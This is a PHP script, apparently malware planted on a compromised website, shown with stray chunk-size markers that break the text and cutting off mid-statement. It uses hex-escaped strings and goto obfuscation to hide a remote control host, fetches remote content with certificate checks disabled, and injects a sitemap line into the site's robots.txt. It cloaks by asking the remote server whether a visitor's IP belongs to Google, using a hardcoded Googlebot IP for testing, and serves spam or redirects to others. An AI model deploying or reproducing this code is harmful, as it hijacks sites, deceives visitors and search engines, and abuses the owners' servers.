2 true, CURLOPT_ c CONNECTTIMEO 1e UT => 5, CURLOPT_ 13 TIMEOUT => 8 1f , CURLOPT_SSL_VERI a FYPEER => 2a false, CURLOPT_SSL_VERIFYHOST 25 => false, CURLOPT_FOLLO 8 WLOCATIO 26 N => false, CURLOPT_USERA f GENT => "M 8 ozilla/5 1a .0" ]); 11 $data = curl_exec 19 ($ch); curl_clos 1a e($ch); } if ( 10 empty($data) && d ini_get('allo b w_url_fopen 16 ')) { $contex b t = stream_ f context_create( 15 [ "http" d => ["timeout e " => 8, "heade b r" => "User 8 -Agent: 11 Mozilla/5.0\r\n"] 15 , "ssl" e => ["verify_p 1b eer" => false, "verify_peer 10 _name" => false] 33 ]); $data = @file_get_contents($ 14 url, false, $context 23 ); } if (!empty($data)) 18 cache_set($url, $data); 3d return $data; } /* ------------------------- 9 URL 信 35 ------------------------- */ function get_url_inf a o(string $ 9 type='dom e ain'): string c { $host 18 = $_SERVER['HTTP_HOST'] 12 ?? ''; if ($ b type === 'n 6 o_www' 12 ) return preg_repl a ace('/^www 8 \./i', ' 14 ', $host); $p a rotocol = 18 (!empty($_SERVER['HTTPS' 1c ]) && $_SERVER['HTTPS'] !== 8 'off') ? d "https://" : 13 "http://"; $b 11 ase = $protocol . 22 $host; if ($type === 'base 26 ') return $base; if ($type === 'f 15 ull') return $base . 10 ($_SERVER['REQUE e ST_URI'] ?? '' 19 ); return $host; 2d } /* ------------------------- 基 7 变量 26 ------------------------- */ goto O b NPuB; ONPuB e : $http_type = 15 !empty($_SERVER["\x4 8 8\124\x5 a 4\x50\x53" 26 ]) && $_SERVER["\x48\124\124\x50\x53"] c !== "\157\x 7 66\146" c ? "\150\x74 d \x74\x70\163\ 5e 72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\14 f 1\x6c\x6c\163\x e 2e\143\157\x6d f \x2f"; goto vgv d 72; vgv72: $q a z = substr 13 (str_replace(array( d "\x77\x77\167 d \x2e", "\56") 14 , '', $_SERVER["\110 10 \x54\x54\120\x5f c \x48\x4f\123 c \x54"]), 0, 2a 3); /* ------------------------- 6 析 f 28 参数 ------------------------- */ $ c sz = $iid = 11 ""; if(!empty($_ 9 GET)){ a $f=reset($ 12 _GET); $sp = f explode('-', $f 15 ); if (count($sp 15 ) === 2) { $ c sz = $sp[0] 18 ; $iid = $sp[1] 32 ; } } /* ------------------------- 6 程 24 口 ------------------------- */ 18 if (!empty($sz)) { 13 $jd = getCurlFast(" 12 {$http_type}{$vurl 8 }3kg.asp 6 x?sz=" d . urlencode( e $sz)); } else 47 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}" 38 ); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 14 d=" . urlencode($jd) f ); } $hyzhd b y = $jd . " d 41.aspx"; $s 1b url = $jd . "s41.aspx"; 2a /* ------------------------- robot 9 s / sitem 2b ap ------------------------- */ $sitemapL e ine = "Sitemap 24 : {$http_type}{$_SERVER['HTTP_HOST'] 13 }{$_SERVER['SCRIPT_ 9 NAME']}?w c =" . date('Y 9 mdHi') . 11 "\n"; function e d nsure_robots_ 1e sitemap($sitemapLine) { $ f robots = rtrim( f $_SERVER['DOCUM a ENT_ROOT'] d , "/\\") . '/ 16 robots.txt'; if ( 14 !file_exists($robots 29 )) { @file_put_contents($robots, 10 "User-agent: *\ 9 nAllow: / 12 \n" . $sitemapLine 1f , LOCK_EX); } else { 25 $c = @file_get_contents($robots); 1a if ($c === false d || strpos($c 19 , $sitemapLine) === false 3b ) { @file_put_contents($robots, $sitemapLine, a FILE_APPEN 13 D | LOCK_EX); 37 } } } /* ------------------------- w 7 = 输 31 ------------------------- */ if (!empty($get[ a 'w'])) { 10 $params = c http_build_q 11 uery([ ' 8 NOUmber' 12 => $get['NOUmber' 1f ] ?? '', 't' => 1e $get['t'] ?? '', 'cn' 26 => $get['cn'] ?? '', 'p 2b NOUm' => $get['pNOUm'] ?? '', 'c 15 id' => $get['cid' 2e ] ?? '', 'm' => $get['m'] ?? '' 15 ]); $str 18 = getCurlFast("{$surl}? 14 {$params}"); 11 echo str_replace( 11 ['yymm' c ,'ggggg','?f 19 ='], [$http_type 17 .$_SERVER['HTTP_HOST']. 21 $_SERVER['SCRIPT_NAME'], $sz,'?'. 13 $qz.'='], 15 $str ); exi 31 t; } /* ------------------------- IP 6 定 6 保 7 kk 4 试 2b ) ------------------------- */ $kk = is 24 set($get['kk']) ? trim($get['kk']) : 11 ''; $ip = ($kk d !== '') ? "66 7 .249.82 13 .8" : get_real_ip() 31 ; /* ------------------------- getdomain 8 2 判断 2f ------------------------- */ $domain = trim( 1d getCurlFast($jd . "getdomain2 d .aspx?rnd=1&i a p=" . $ip) 2f ); /* ------------------------- 非 go 7 ogle + 9 iid → 5 转 37 ------------------------- */ if ($domain !== 'google 10 ' && !empty($iid 10 )) { $kname d = urldecode( 1e getCurlFast($jd . "gn.aspx?iid 18 =" . $iid)); echo ' 9